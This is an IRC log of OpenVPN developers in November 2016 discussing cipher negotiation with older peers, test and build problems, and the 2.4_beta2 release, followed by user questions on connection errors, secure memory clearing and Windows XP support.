rather than increase it :p 14:54 <@syzzer> but it also doesn 14:54 <@syzzer> ḿeh 14:54 <@syzzer> doesn't help that I'm doing this at night, tired from a full working day and all... 14:56 <@cron2> options_string() is what builds the stuff (options.c), called from init.c, stuffed into ssl.c 14:56 <@dazo> syzzer: I would be in favour of reducing the API complexity by passing over a bit more generic structs than several arguments with info derived from the same struct ... what I did was just a beginning in that regards 14:57 <@syzzer> dazo: that reduced testability 14:57 <@syzzer> reduces 14:57 <@dazo> good point 14:57 <@syzzer> we should give functions what they need, and not more than that 14:57 <@syzzer> otherwise mocking becomes a pain 14:57 <@dazo> okay, you've convinced me ... bad idea 14:58 <@syzzer> wow, that was surprisingly fast :p 14:58 * syzzer back to the code 14:58 <@dazo> ;-) 15:00 <@cron2> syzzer: looking at my initial patch 15:01 <@cron2> inside key_method_2_read(), we do not have "c", but we have session->opt - is there anything useful in there, like an opt->cipher or so? 15:01 <@syzzer> there's 'our cipher' 15:01 <@cron2> but that's what we need 15:01 <@syzzer> to we could disable NCP if that matches the remote cipher... 15:01 <@cron2> yep 15:02 <@syzzer> back to the original approach, that could work 15:02 <@syzzer> thanks! 15:02 <@cron2> :) 15:11 < slypknot> cron2: if you wanna "break old clients in a nasty way" would the Windows installer benefit from a notification of such ? 15:11 < slypknot> XP 15:28 <@syzzer> cron2: 6th time is a charm? 15:28 <@syzzer> and thanks for the very decent reviews! 15:34 <@cron2> slypknot: we haven't broken things yet, but the temptation is there... 15:34 <@cron2> looking at v6... 15:36 <@cron2> hah, "... sends an extra push reply" :-) 15:37 <@cron2> I'll move the prototype outside the #ifdef... 15:47 <@syzzer> aaarhg :/ 15:47 <@cron2> and I'm adding a NULL check here (client without OCC) 15:47 <@cron2> if (multi->remote_ciphername == NULL || 15:47 <@cron2> 0 == strcmp(multi->remote_ciphername, multi->opt.config_ciphername)) 15:47 <@syzzer> yes, please 15:48 <@syzzer> I'm really to tired :( but I want to get this done. 15:48 <@syzzer> so thanks for the patience 15:48 <@cron2> I want to get this done, too :) 15:48 <@cron2> good night 15:49 <@cron2> starting some tests now 15:51 <@cron2> doesn't break --enable-small, *does* break --disable-server (because there is no multi->peer_info then) 15:52 <@cron2> adding #if P2MP_SERVER 15:53 <@syzzer> just move the #endif down 15:53 <@cron2> yep 15:53 <@syzzer> kind of silly, because this is client-side code too. but it will work fine, so not really an issue. 15:54 <@cron2> if compiled without P2MP_SERVER, it will just not do client-side poor-man's NCP, but I'm willing to sacrifice that :-) ("get a proper server and use real NCP") 15:56 <@syzzer> good enough for me. android ships with 2.4, most regular systems ship with P2MP_SERVER compiled anyway 15:59 <@cron2> mmmh, 2.3 won't do AES-256-GCM, and default ncp-ciphers list does not have AES-192-CTR 15:59 <@cron2> CFB 15:59 <@syzzer> no, the admin will have to set --ncp-ciphers 16:02 <@cron2> Nov 23 22:56:21 gentoo tun-udp-p2mp[17147]: cron2-gentoo-i386/193.149.48.174 Using peer cipher 'AES-192-CFB' 16:02 <@cron2> whee! 16:04 <@cron2> dat shit workls 16:05 <@syzzer> this basically does what my very first attempt at cipher negotiation (before James specified IV_NCP) tried to do 16:06 <@cron2> the circle closes :) 16:12 <@cron2> ok, final test - client with --enable-small (= not sending OCC) vs. server with that patch - if ciphers match, it works, if ciphers do not match, it does not work, but no adverse effects (NULL) on server 16:13 <@cron2> Nov 23 23:06:50 gentoo tun-udp-p2mp[17147]: cron2-gentoo-i386/193.149.48.174 Authenticate/Decrypt packet error: cipher final failed 16:13 <@cron2> which is good enough 16:15 <@syzzer> \o/ 16:15 <@cron2> another round of staring-at-the-code while t_client runs 16:16 <@cron2> the man page actually tells that one has to do --ncp-ciphers :) 16:16 <@cron2> mmmh 16:17 <@syzzer> you didn't RTFM? :p 16:17 <@syzzer> uhoh... 16:17 <@cron2> test "talk to older server with mismatching cipher" yet... 16:17 <@cron2> nothing bad yet, just noticed that I did not test that 16:18 <@syzzer> ah, I did test that a couple of times, so am confident :) 16:19 * syzzer adds a --disable-server jenkins job 16:19 <@cron2> Wed Nov 23 23:12:43 2016 Using peer cipher 'BF-CBC' 16:19 <@cron2> Wed Nov 23 23:12:43 2016 Data Channel Encrypt: Cipher 'BF-CBC' initialized with 128 bit key 16:19 <@cron2> Wed Nov 23 23:12:43 2016 WARNING: INSECURE cipher with block size less than 128 bit (64 bit). This allows attacks like SWEET32. Mitigate by using a --cipher with a larger block size (e.g. AES-256-CBC). 16:19 <@cron2> hehe 16:23 <@vpnHelper> RSS Update - gitrepo: Poor man's NCP for non-NCP peers <https://github.com/OpenVPN/openvpn/commit/6e5ad2fa0b1e7ca2e05e0a38f47ed5561cda63b0> 16:24 <@cron2> v6 2/2 gets looked at tomorrow 16:24 <@cron2> (it has a typo in the commit message :) ) 16:25 * cron2 is too tired to actually *write* anything sensible right now, but has a very sharp eye, funny enough 16:26 <@syzzer> \o/ 16:26 <@cron2> indeed, thanks for your persistence 16:27 <@syzzer> same :) 16:27 <@syzzer> and good night! 16:27 <@cron2> gn8! :) 16:27 <@cron2> so... v6 2/2 left (easy enough), selva dns6 service, then we're good for beta2 16:29 <@cron2> v5 2/2 16:29 <@cron2> anyway 16:36 <@cron2> syzzer: I *do* have a potential way to use this to break things 16:36 <@cron2> server with NCP enabled, --cipher foo 16:36 <@cron2> client with NCP disabled, --cipher bar 16:37 <@cron2> server will now use "cipher bar", while client will do "cipher foo"... 16:37 <@cron2> so I think we should do a "v6a amendment" which disables this on the client if --ncp-disable is set (so 2.4 to 2.4 will either do *real* NCP, or *no* NCP, but no half-assed two-way poorman) 16:38 <@cron2> this makes testing more annoying because you can't talk to a 2.4 server to test the client side :-) - but it's *meant* to be a 2.3<->2.4 migration feature 17:06 <@syzzer> cron2: no, I think this works fine, see the ml :) 21:05 < slypknot> Thunderbird Officially sucks .. try to delete /archive 21:06 < slypknot> ^^ --- Day changed Thu Nov 24 2016 00:48 <@cron2> mmmh. With the 2/2 refactoring patch, test 8 fails consistently for me - that is "p2p mode". Need to investigate more closely later, maybe just something in the test setup broken 02:26 <@syzzer> cron2: "p2p mode" as in "static keys"? 02:37 <@syzzer> seems to work here 03:22 <@cron2> syzzer: yes, static key mode. Did not have time to look more closely. This is "master plus the refactoring 2/2 patch" 03:23 <@syzzer> yeah, just tested that locally and seems to work fine, both master+2/2<>master+2/2 and master+2/2<>2.3.x 03:24 <@syzzer> could be you're hitting some other corner case though, so curious to know what is failing 03:26 <@cron2> or the server died in strange ways 03:28 <@syzzer> should I update my t_client.rc btw? You seem to run a lot more tests than I do. 03:31 <@cron2> seems the "server" got stuck, though I have no idea why... when connecting, it logs the initial packet from the "client", and then nothing more (and no response) 03:32 <@cron2> Nov 24 10:24:45 gentoo tun-udp-p2p[25612]: Peer Connection Initiated with [AF_INET]193.149.48.174:32821 03:32 <@cron2> no reply packes whatsoever 03:32 <@dazo> slypknot: /archive is a system folder to TB ... it's basically the same as trying to delete /Trash or /Inbox 03:33 <@dazo> at least if the Archive function have been enabled .... don't recall now if it's a both a global setting and an account setting, or just an account setting 03:34 <@cron2> strange 03:34 <@cron2> I have not done anything but "attach strace to the server side"... 03:34 <@cron2> ... and it returned to working 03:34 <@dazo> uhh!? that's really odd 03:36 <@cron2> it might actually be related to something else - p2p mode only logs "Initialization Sequence Complete" when there are actual packets from the other end, and our new t_client.sh *waits* for that 03:36 <@dazo> worst case (debugging wise) is a kernel corner case with a task based dead-lock ... which ptrace unlocked 03:36 <@cron2> so if the server side decides to not send anything (because there is nothing), t_client will give up 03:37 * cron2 wonders why this never happened before 03:39 <@cron2> ok, this was a red herring, totally unrelated to the new patches 03:39 <@cron2> whew 03:40 <@syzzer> cron2: just add --ping 1 at both sides/ 03:41 <@syzzer> good that this one wasn't my fault :') 03:42 <@cron2> syzzer: indeed, this is a good point 03:44 <@cron2> actually it is a bit weird 03:46 <@cron2> "ping" is not a "true ping", so it's not soliciting a reply - and I'm not sure what will happen on the "server" side if the "client" goes away if "ping" is set... but I'll test that some other day. Maybe just "--up ping $remote" 03:50 <@cron2> there we go :) 03:50 <@cron2> --up ping ... 03:50 <@cron2> will actually not work, because openvpn will wait for the ping to finish before going on... but some creative backgrounding works 03:51 <@cron2> "this is unix" 03:51 <@cron2> ok, return to your regular reviewing activity... 03:53 <@cron2> syzzer: full t_client.rc "as of today" on my way 03:58 <@syzzer> thanks! 04:05 <@cron2> oh 04:05 <@cron2> v5 2/2 is not the same as "the refactor part of v4" 04:06 <@cron2> (as tls_session_update_crypto_params() will now always call tls_session_generate_blablabla()) 04:06 <@syzzer> yeah, the split was no longer needed 04:08 <@cron2> are there good tools to diff two patches? "what is different in this other patch" without dumbly listing stuff like "line numbers changed because patch 1 added on extra line at the top of that file"? 04:08 <@cron2> diff -uw is a bit raw 04:14 <@syzzer> cron2: I haven't found a good tool for that yet either 04:17 <@vpnHelper> RSS Update - gitrepo: Refactor data channel key generation API <https://github.com/OpenVPN/openvpn/commit/e2ffdb7c83faaee6541c248e8d83eb3dfb5a32f1> 04:20 <@cron2> interesting, found a new t_client.sh bug... 04:20 <@cron2> if "pre-ping succeeds but should fail" happens, the test set failure is not added to the summary 04:20 <@cron2> Test sets succeded: 3 4 4a 5. 04:20 <@cron2> Test sets failed: none. 04:37 <@cron2> poking d12fk... d12fk, please report to openvpn central :) 04:48 <@d12fk> copy that 04:48 <@d12fk> whats up cron2 04:48 <@cron2> oh, whee :-) 04:49 <@cron2> your argv test driver uses -Wl,--wrap=parse_line which I sort of understand, but that breaks the linker used on MacOS 04:49 <@cron2> ld: unknown option: --wrap=parse_line 04:49 <@cron2> clang: error: linker command failed with exit code 1 (use -v to see invocation) 04:49 <@d12fk> hm, that's a generic cmocka question then 04:50 <@cron2> (which breaks plaisthos' buildbot, which fills my mailbox, and that should generally be avoided :) ) 04:50 <@d12fk> the wrapping is the official method to do mocking 04:50 <@d12fk> is there a #cmocka on freenode? 04:50 <@d12fk> indeed there is 04:50 <@cron2> no idea. Can I just throw this ball to you, and go on with DNS6 service? 04:50 <@d12fk> asking the question there 04:50 <@cron2> thanks 04:51 * cron2 forwards the buildbot mail as reference 05:07 <@cron2> dazo, mattock: how's your availability? 05:09 <@cron2> I have just pushed Selva's dns6-using-service patch, so from what I remember from yesterday night, we're ready to go for beta2 05:09 <@cron2> it would add some assurance to actually *test* the resulting openvpn installer on a server that pushes a "dhcp-option DNS6 $address" server, but we could go forward without that 05:11 <@vpnHelper> RSS Update - gitrepo: Set IPv6 DNS servers using interactive service <https://github.com/OpenVPN/openvpn/commit/c098016a22e90575e9c3e7c27d7b457ed9d1b5d3> 05:13 * cron2 goes and finds some food... 05:14 <@dazo> cron2: alright ... so we're good to go for beta2? 05:14 <@dazo> nobody wants to add anything else? 05:16 * dazo begins to prepare the beta2 05:17 <@dazo> cron2: DNS6 should probably be mentioned in Changes.rst 05:43 < danhunsaker> dazo: Unless we want to add the HOWTO as part of the documentation, and allow the user to invoke it via the CLI directly (rather than via man, for example)... 05:43 <@plaisthos> and maybe also poor mans ncp 05:44 <@plaisthos> as in "use this to get away from bf-cbc" when you can update the server but not the clients 05:44 < danhunsaker> Sort of a "You're doing something wrong, here; take a moment to RTFM!" 05:45 <@plaisthos> danhunsaker: ?! 05:47 < danhunsaker> Can't recall which application I've used recently that does that, but I'm mostly joking about it anyway. 05:47 <@dazo> danhunsaker: the whole documentation regime needs a solid overhaul .... but it's not something we can manage before the 2.4 release .... I agree that we should look into improving the user experience getting the relevant docs though 05:47 < danhunsaker> (I mean, MySQL comes to mind...) 05:48 < danhunsaker> (But again, mostly joking.) 05:48 <@dazo> :) 05:49 <@dazo> syzzer: would you have time to do a simple "here's how to use NCP" for various scenarios wiki page? I can help ironing out the final text, but need some kind of draft covering the basics 05:50 <@dazo> something like the "Getting Started How-To" ... https://community.openvpn.net/openvpn/wiki/GettingStartedwithOVPN 05:50 <@vpnHelper> Title: GettingStartedwithOVPN – OpenVPN Community (at community.openvpn.net) 05:50 <@dazo> danhunsaker: in all jokes, there's a thread of truth ;-) 05:51 < danhunsaker> dazo: In the good ones, anyway, yeah. 05:51 <@dazo> :) 05:51 <@dazo> plaisthos: when you say "when you can update the server but not the clients" ... you mean the configuration? 05:52 < danhunsaker> (Looked like "server is 2.4, but clients are 2.3" more than config lockdown... But might be both...) 05:55 <@plaisthos> dazo: binaries 05:55 <@plaisthos> e.g. your clients are on debian stable 05:55 <@plaisthos> but your server is running a git version 05:56 <@plaisthos> then you can change the clients configs one by one to have cipher aes-128-cbc in them 05:56 <@plaisthos> (or even older/weirder clients ...) 06:00 < danhunsaker> Ooh! Third party clients which are no longer maintained! 06:00 <@dazo> yeah, right ... that's what I thought 06:01 * danhunsaker glares fiercely at ddwrt 06:10 <@plaisthos> we should also add that to the blowfish security note in the wiki 06:29 < danhunsaker> I'd mention "don't use ddwrt" in every security note, myself. ;-) 06:35 <@d12fk> cron2: the log you sent looks like gcc? it this just aliases 06:39 < gladiac> Hi 06:39 <@d12fk> hi 06:40 <@d12fk> cron2, plaisthos: gladiac is from #cmocka 06:40 <@d12fk> here to investigate our prob with the mac buildbot 06:41 <@d12fk> error looks liek this: 06:41 <@d12fk> libtool: link: gcc -I../../../include -I/Users/buildbot/buildbot085/build-plaisthos-macosx-amd64-stable-master--with-crypto-library=mbedtls--enable-crypto/build/vendor/dist/include -I../../../src/openvpn -I../../../src/compat -I/usr/local/Cellar/mbedtls/2.3.0_1/include -g -O2 -std=c99 -Wl,-rpath -Wl,/Users/buildbot/buildbot085/build-plaisthos-macosx-amd64-stable-master--with-crypto-library=mbedtls--enable-crypto/build/vendor/dist/lib -Wl,--wrap=parse_line - 06:41 <@d12fk> o argv_testdriver argv_testdriver-test_argv.o argv_testdriver-mock_msg.o argv_testdriver-platform.o argv_testdriver-buffer.o argv_testdriver-argv.o -lcmocka -L/Users/buildbot/buildbot085/build-plaisthos-macosx-amd64-stable-master--with-crypto-library=mbedtls--enable-crypto/build/vendor/dist/lib -L../../../src/openvpn -L/usr/local/Cellar/mbedtls/2.3.0_1/lib/ -lmbedtls -lmbedx509 -lmbedcrypto -lresolv 06:41 <@d12fk> ld: unknown option: --wrap=parse_line 06:41 <@d12fk> clang: error: linker command failed with exit code 1 (use -v to see invocation) 06:41 < gladiac> I see that llvm has a plugin for the gold linker 06:41 < gladiac> did you try 06:41 < gladiac> --wrap parse_line 06:41 < gladiac> at least the gold help tells you so 06:42 < gladiac> --wrap parse_line without the '=' should work on both linker 06:42 <@plaisthos> gladiac: not sure that is even shipped on OS X 06:43 <@plaisthos> arne@styx:~% ld --wrap parse_line 06:43 <@plaisthos> ld: unknown option: --wrap 06:43 < gladiac> ld -v 06:43 <@plaisthos> ld -v 06:43 <@plaisthos> @(#)PROGRAM:ld PROJECT:ld64-274.1 06:43 <@plaisthos> configured to support archs: armv6 armv7 armv7s arm64 i386 x86_64 x86_64h armv6m armv7k armv7m armv7em (tvOS) 06:43 <@plaisthos> LTO support using: LLVM version 8.0.0, (clang-800.0.42.1) 06:43 <@plaisthos> TAPI support using: Apple TAPI version 1.30 06:44 < gladiac> is that lld 06:44 <@plaisthos> no that is ld 06:44 <@plaisthos> there is no lld 06:44 < gladiac> or something from Apple 06:44 <@plaisthos> (otool -L replaces lld) 06:46 < gladiac> so the OSX linker doesn't support wrap .. 06:47 <@plaisthos> that is what cron2 was telling the whole time :) 06:48 <@plaisthos> gcc is also an alias for clang 06:50 < gladiac> ld.bfd and ld.gold both support --wrap 06:52 <@plaisthos> yeah 06:52 <@plaisthos> but this isn't an elf linker :) 06:52 < gladiac> but both generate ELF 06:52 < gladiac> and osx doesn't use ELF 06:53 < gladiac> plaisthos: another option might be preloading 06:53 < gladiac> which exists on osx 06:55 <@cron2> re 06:56 <@cron2> dazo: can you do DNS6 + poorman in Changes.rst? 06:57 <@cron2> dazo: regarding "how to use NCP" - the man page covers parts of that 06:59 < gladiac> Not related to the issue, but you should look into https://cwrap.org too ;) 06:59 <@vpnHelper> Title: cwrap - A toolset for client server testing (at cwrap.org) 07:14 < gladiac> openconnect and ocserv are using it 07:14 * cron2 takes note 07:15 <@cron2> (I'm not *looking* right now because too busy, but this definitely is worth looking with a more relaxed mind) 07:16 <@dazo> cron2: sure ... I'll just apply that on-the-fly 07:20 <@cron2> thanks. You'll do ChangeLog and version.m4 anyway :) 07:22 <@dazo> yeah 07:22 <@dazo> I'll pastebin the Changes.rst changes ... just to ensure I haven't misunderstood it :) 07:37 <@cron2> aaah, now this is interesting. There is no "32bit" installer anymore, and my 64bit windows system currently only has 32bit stuff on it (because I can only compile 32 bit stuff)... 07:37 <@cron2> so I can't test the service-dns6 stuff mattock built... seems I need to test my own stuff then 07:45 <@dazo> cron2: https://gist.github.com/dsommers/8df3c404a4675a2c9f25412f759f4cfd 07:45 <@vpnHelper> Title: Changes.rst · GitHub (at gist.github.com) 07:47 <@cron2> I would rephrase "This also works" to "A more limited version also works..." 07:47 * dazo fixes 07:48 <@cron2> DNS6 is good 07:48 <@cron2> Maybe rewrite more of it 07:49 <@dazo> A more limited version also works in client-to-server and server-to-client 07:49 <@dazo> scenarios where one of the end points uses a v2.3 client or server. 07:49 <@cron2> make that 2.4 :) 07:49 <@cron2> "one of the end points is v2.4 and the other side is older" 07:50 <@dazo> yeah, better! 07:50 <@cron2> In that case, the v2.4 side will change to the --cipher set by the other side (communicated in the OCC option string) if permitted by --ncp-ciphers 07:51 <@cron2> And then the existing examples 07:51 <@dazo> yeah ... it's hard to get all these small details written in a clear and not overly verbose way :) 07:53 <@dazo> hmm .... maybe we don't need to mention the "OCC option string" here ... that's implementation details 07:54 <@cron2> I think it's relevant because it breaks if you compile without OCC... 07:54 <@cron2> but I'm not insisting on it 07:55 <@dazo> Okay, I'll merge in a "This requires OpenVPN to be built without disabling OCC" (implying that OCC is enabled by default) 07:56 <@dazo> if that's okay 07:58 <@dazo> https://gist.github.com/dsommers/8df3c404a4675a2c9f25412f759f4cfd/revisions ... updated 07:58 <@vpnHelper> Title: Revisions · Changes.rst · GitHub (at gist.github.com) 08:00 <@cron2> good enough 08:00 <@cron2> go! 08:03 <@dazo> great! 08:03 * dazo rolls 08:03 <@dazo> And in the segment: 'How to "get" a Tesla for free' .... https://www.youtube.com/watch?v=5jQAX4540hA 08:05 <@syzzer> hm, poor-man's NCP works without OCC too, I think? 08:06 <@cron2> wait 08:06 * dazo waits 08:07 <@cron2> I don't think so - options.c options_string() is inside #ifdef ENABLE_OCC 08:07 <@cron2> (--disable-occ might not turn it off, but compiling without will) 08:08 <@syzzer> oh, totally right 08:08 <@cron2> *sigh* this test system is messed up too much... openvpn-gui.exe crashes IF using the service (fixed bug, but I can't install the update...) 08:12 <@syzzer> dazo: NCP text looks good to me 08:12 * dazo tags :) 08:13 <@syzzer> I didn't put it in Changes.rst, just in man, because I thought we should just motivate people to upgrade ;) 08:13 <@syzzer> but if you both think Changes.rst is useful too, that's fine with me. 08:14 <@dazo> heh ... I actually think this can tempt many to upgrade, at least the server side ... and then they have a better/easier migration path 08:15 <@dazo> if they upgrade client binaries or configurations, that is less relevant right now ... but they can do a migration in a more step-by-step based approach 08:17 <@dazo> (running 'make distclean; autoreconf ; configure; make distcheck' now) 08:34 <@dazo> openvpn-2.4_beta2 archives ready for distribution: 08:34 <@dazo> \o/ 08:34 * dazo pushes 08:36 <@cron2> cool 08:36 <@vpnHelper> RSS Update - gitrepo: Preparing OpenVPN v2.4_beta2 release <https://github.com/OpenVPN/openvpn/commit/9bc2be7b4f6bf760dc5f3257374d749c4eb2f658> 08:37 <@cron2> syzzer: changes.rst is "why should I upgrade?" and *this* definitely is - if you remember the discussion on the -users list... 08:41 <@dazo> mattock: tarballs pushed out for your to pick down 08:41 <@dazo> (same place as last time) 08:53 <@cron2> Thu Nov 24 15:45:30 2016 IPv6 dns servers set using service 08:53 <@cron2> whee! 08:54 < slypknot> HI, it looks like you are all taking a break post 2.4_beta2 push .. so if somebody could take a quick look at this post, it looks to me like there is nothing openvpn can do but you may have other ideas: https://forums.openvpn.net/viewtopic.php?f=33&t=22871 08:54 <@vpnHelper> Title: Connecting to Wifi that uses a web login page - OpenVPN Support Forum (at forums.openvpn.net) 08:55 < slypknot> altho it is in android it will effect all clients 08:57 <@dazo> geee ... here we're working hard and finally get a chance to sit back and enjoy the result .... and people instantly start to toss new tasks at us ....... how rude! ;-) 08:57 <@cron2> slypknot: well, one week after beta2, rc1 is coming up and there are bugs to fix... :-) - "break!" will be in January 08:58 * cron2 tosses an old fish at dazo :-) 08:58 <@cron2> (if you do not want new tasks...) 08:58 * dazo ducks 08:58 <@dazo> :) 08:59 <@cron2> slypknot: plaisthos might be qualified to answer that, but unless *Android* offers a workaround, there is not much OpenVPN can do 08:59 <@dazo> is my memory failing me .... or did we have a bug or two on the -devel ML which needs attention? 08:59 <@cron2> (since Android supports "do not use vpn, use that physical interface!" for sockets, it *could* fire up the login page bypassing the VPN) 09:00 <@cron2> dazo: your memory is failing you. It's more like 370 open trac tickets, not "a bug or two" :) 09:01 <@dazo> I thought I saw something on the ML .... but might have been some patches you already applied late yesterday/earlier today 09:01 <@cron2> mattock: your buildslave does not like betas :) 09:01 <@cron2> dazo: Selva had a windows nuisance - technically a bug but he agreed that it's not something that needs an urgent fix 09:01 <@cron2> (connected route reinstalling at SIGUSR1 restart) 09:01 <@dazo> ahh, right! That was it 09:02 <@cron2> 3 dangerous-looking lines in the log, but no misbehaviour otherwise... 09:02 <@dazo> yeah, we've a similar thing on Linux for ages to on SIGTERM ... so yeah, we'll let it pass for now 09:03 <@dazo> if we get a fix for rc1 or final release, that's great but not a release blocker 09:03 * dazo need to get ready to pick-up $kid at kindergarten 09:04 <@cron2> this is something which totally matches my criteria for "bugfix between 2.4.5 and 2.4.6" - not touching crucial infrastructure, single plattform, ... 09:04 <@dazo> :) 09:04 <@cron2> some patches are not easy to decide where to put them (and why), but "small platform bugfix" is easy :) 09:04 <@dazo> oh yeah, I remember now .... the patch from agi needs attention .... which you started poking at 09:05 <@cron2> someone who understands port-share needs to check this 09:05 <@dazo> I can dive into it as well, and with plaisthos' guidance we can see how it affects things as well 09:06 <@cron2> ok, back to my meeting... will check on you later on, but my tasks for openvpn for today are done! 09:06 <@dazo> indeed :) 09:06 * dazo heads out now .... and will be back after 20:00 09:36 < slypknot> cron2: it appears peer-id changed on gentoo buildbot and then: NOTE: Pulled options changed on restart, will need to close and reopen TUN/TAP device. and then because of --user/group nobody: Exiting due to fatal error 09:36 * slypknot wonders if this is avoidable 09:37 <@cron2> slypknot: your openvpn is too old 09:37 <@cron2> commit 3cf51f613c4d0ac0982826cd2e27e1f34bcd1a83 09:37 <@cron2> Author: Lev Stipakov <lstipakov@gmail.com> 09:37 <@cron2> Date: Tue Oct 4 23:20:03 2016 +0300 09:37 <@cron2> Exclude peer-id from pulled options digest 09:37 <@cron2> so, anything current will not restart on peer-id change 09:38 < slypknot> ok 09:38 <@cron2> (well, let's say "should", but syzzer ACKed that patch and says it works :) ) 09:39 < slypknot> sure thing .. but "too old" is a bit way out as it is 2.4_beta1 09:39 <@cron2> in that case it's likely not peer-id but something else 09:39 <@cron2> if cipher changes this will force a full restart 09:40 <@cron2> (or if it *thinks* cipher has changed... do you have the old and new PUSH_REPLY lines?) 09:40 <@cron2> last time I experienced this, I did not have both lines 09:40 < slypknot> i just closed the text file .. so no 09:41 < slypknot> dammit 09:41 <@cron2> nothing in syslog? 09:41 < slypknot> i use --log 09:41 < slypknot> but the only diff i sa was peer id 14 -> 22 09:41 <@cron2> but the file should still be there? or was it overwritten? 09:42 <@cron2> 100 09:42 <@cron2> oops 09:42 <@cron2> http://community.openvpn.net/openvpn/ticket/761 - this is the --cipher ticket, trac#649 is the peer-id one 09:42 <@vpnHelper> Title: #761 (cipher change should not lead to tun/tap reopen) – OpenVPN Community (at community.openvpn.net) 09:45 < slypknot> was overwritten .. that trac 761 is ongoing so will wait to see 09:45 <@cron2> so, anyway, what we really need to have is a log that shows OLD/NEW so it's clear whether anything but peer-id was changed... 09:45 < slypknot> I'll keep my eyes open for it 09:46 <@cron2> my buildbots also do this every now and then, but their openvpn is always "something older", never new enough to have Lev's fix so I did not look more closely yet 09:46 < slypknot> I could probably setup a small test vpn to cause it 09:47 < slypknot> yey or ney ? 09:47 < slypknot> yey .. something interesting to do :) 09:47 <@cron2> having a clear and reproduceable test would be perfect 09:47 < slypknot> i'll have a go in a while :) 09:48 < slypknot> FYI: it looked to me like the VPN server (ecrist's) was down for a while 09:49 <@cron2> the reference server for t_client (ecrist)? or the community VPN (mattock)? 09:49 < slypknot> ahh mattock .. not ecrist 09:50 < slypknot> let me check 09:50 < slypknot> defo mattock the one that is always up 09:51 * slypknot has to go do chores - i'll let you know if/when i setup a test for peer-id 10:56 < slypknot> Can somebody please explain what might cause 2016-11-22 19:23:20 TCP packet extract error: embedded_packet_size_error 10:56 < slypknot> 2016-11-22 19:23:20 Transport Error: Transport error on '212.24.106.163' via HTTP proxy 10.239.73.205:8080 : TCP_SIZE_ERROR 10:56 < slypknot> https://forums.openvpn.net/viewtopic.php?f=6&t=22853 10:56 <@vpnHelper> Title: Connection problem vps- TCP_SIZE_ERROR http proxy - OpenVPN Support Forum (at forums.openvpn.net) 11:40 < slypknot> I was wondering if it is the old "TCP over TCP" problem .. ? 11:52 <@plaisthos> cron2, slpyknot: Android normally detects that itself and offers you the web sign in page 11:52 <@plaisthos> also with with my app you can exclude apps from the vpn (e.g. firefox) and use that browser for web logins 12:13 < slypknot> plaisthos: thanks ! 12:13 < slypknot> your app is ? (reminer please) 12:13 < slypknot> reminder* 12:21 < slypknot> go it 12:22 < slypknot> got it ! 12:32 < slypknot> cron2: just setup the srv+cli to test for peer-id change (and no other change) with nobody/nogroup and it worked totally fine srv+cli OpenVPN 2.4_beta1 12:32 < slypknot> so i must have missed something else that changed before 12:35 < slypknot> https://dpaste.de/x3hw 13:49 <@dazo> slypknot: "OpenVPN for Android" is plaisthos' work 13:49 <@dazo> (that's the official community Android app) 15:19 < slypknot> dazo: i already got it .. 15:20 < slypknot> how about https://forums.openvpn.net/viewtopic.php?f=6&t=22853 15:20 <@vpnHelper> Title: Connection problem vps- TCP_SIZE_ERROR http proxy - OpenVPN Support Forum (at forums.openvpn.net) 15:20 < slypknot> mattock: https://community.openvpn.net/openvpn/ticket/213 15:20 <@vpnHelper> Title: #213 (OpenVPN GUI on 64-bit Windows (registry issue)) – OpenVPN Community (at community.openvpn.net) 15:20 < slypknot> still a big problem ^^ 15:21 <@cron2> slypknot: thanks for testing, so it wasn't peer-id - or the openvpn version that ran up to that point was older 15:21 < slypknot> including 2.4_beta2 i902 15:22 < slypknot> cron2: my test was simple but not done on gentoo .. let me test gentoo now ! 15:22 <@cron2> slypknot: re #213 - could you comment in the ticket what the exact problem is, using the latest installers? 15:23 < slypknot> re #213 will do 15:33 < slypknot> cron2: peer-id change with --user/group nobody/nogroup works perfect on gentoo as well 15:34 <@cron2> good 15:54 < SviMik> Hi! 15:54 < SviMik> I just found "CLEAR (key2);" at the end of a function, and the macro seems to be a simple memset: CLEAR(x) memset(&(x), 0, sizeof(x)) 15:55 < SviMik> shouldn't it be memset_s(), RtlSecureZeroMemory(), or something like this? 15:56 < SviMik> because plain memset() can be optimized out... 15:56 <@dazo> SviMik: https://community.openvpn.net/openvpn/ticket/751 15:56 <@vpnHelper> Title: #751 (When erasing secrets, use a memset() that's not optimized away) – OpenVPN Community (at community.openvpn.net) 15:57 <@dazo> syzzer: *that* is something we truly should have in 2.4 .... but it's used so much over all the code, that we can let this one slip into rc 15:58 < SviMik> so I'm not the first, but nobody is doing it yet, right? 15:58 <@dazo> SviMik: I know syzzer was looking into it 16:00 < SviMik> okay, if he's already dealing with it, then I'm not touching it... 16:27 < SviMik> struct iroute_ipv6 { 16:27 < SviMik> unsigned int netbits; 16:27 < SviMik> ... 16:27 < SviMik> if (ir6->netbits >= 0) 16:27 < SviMik> you know, unsigned is always zero or greater... that's why it's unsigned... 16:27 <@plaisthos> is that still in 2.4? 16:27 <@plaisthos> i thought we fixed that 16:27 < SviMik> I'm reading 2.3 16:28 < SviMik> why didn't you backport it then 16:28 < SviMik> if it was a fix, not a new feature 16:32 <@plaisthos> because not everything is backported 16:32 <@plaisthos> and 2.3 is the stable/old release 16:32 <@plaisthos> and we wanted to release 2.4 2 years ago 16:32 <@plaisthos> and this fix is rather cosmetic 16:33 < SviMik> ah, you already threw 2.3 into trash, even without making 2.4 into release first... 16:40 < danhunsaker> SviMik: You have a remarkably strong habit of putting words in people's mouths that blow the proportions of what was actually said way outside the realm of reality. 16:44 < danhunsaker> 2.3 wasn't "thrown in the trash" at all. It was set at a lower priority, just the same as any other project's current release is when the next release is started. Development is focused on 2.4, with 2.3 getting bug fixes, but nothing more involved - otherwise it'd just be 2.4 as well, which makes 2.3.x releases kinda pointless. Since it doesn't fix any 16:44 < danhunsaker> actual bugs, it wasn't backported, and that's not a problem at all - it's how software development with fixed releases works. 16:45 < danhunsaker> SemVer and Git Flow both provide great explanations of why this makes sense, even if neither is used in *pure* form here. 16:45 < SviMik> sorry if I overreacted a bit... 16:45 < SviMik> 2.3 has a point for me - xp support... 16:46 < danhunsaker> Even Microsoft doesn't have that. :-D 16:48 < SviMik> well, I'm not going to argue, neither I'm interesting what others think about it 16:49 < SviMik> 8% of our customers have xp, that's a large number. so we do care about it. 16:49 < danhunsaker> There is a nice feature of open source that could be useful here - nothing stopping you from maintaining an XP fork. You could, if you like, backport all of the 2.4 feature set to 2.3, without removing the XP support portions. 16:50 < danhunsaker> But, as Microsoft doesn't support it anymore, the main project is better served by dropping said support and simplifying the codebase accordingly. 16:50 < danhunsaker> I agree, that's a pretty big number. 16:51 < slypknot> R.I.P. WinXP April 2014 16:52 < slypknot> 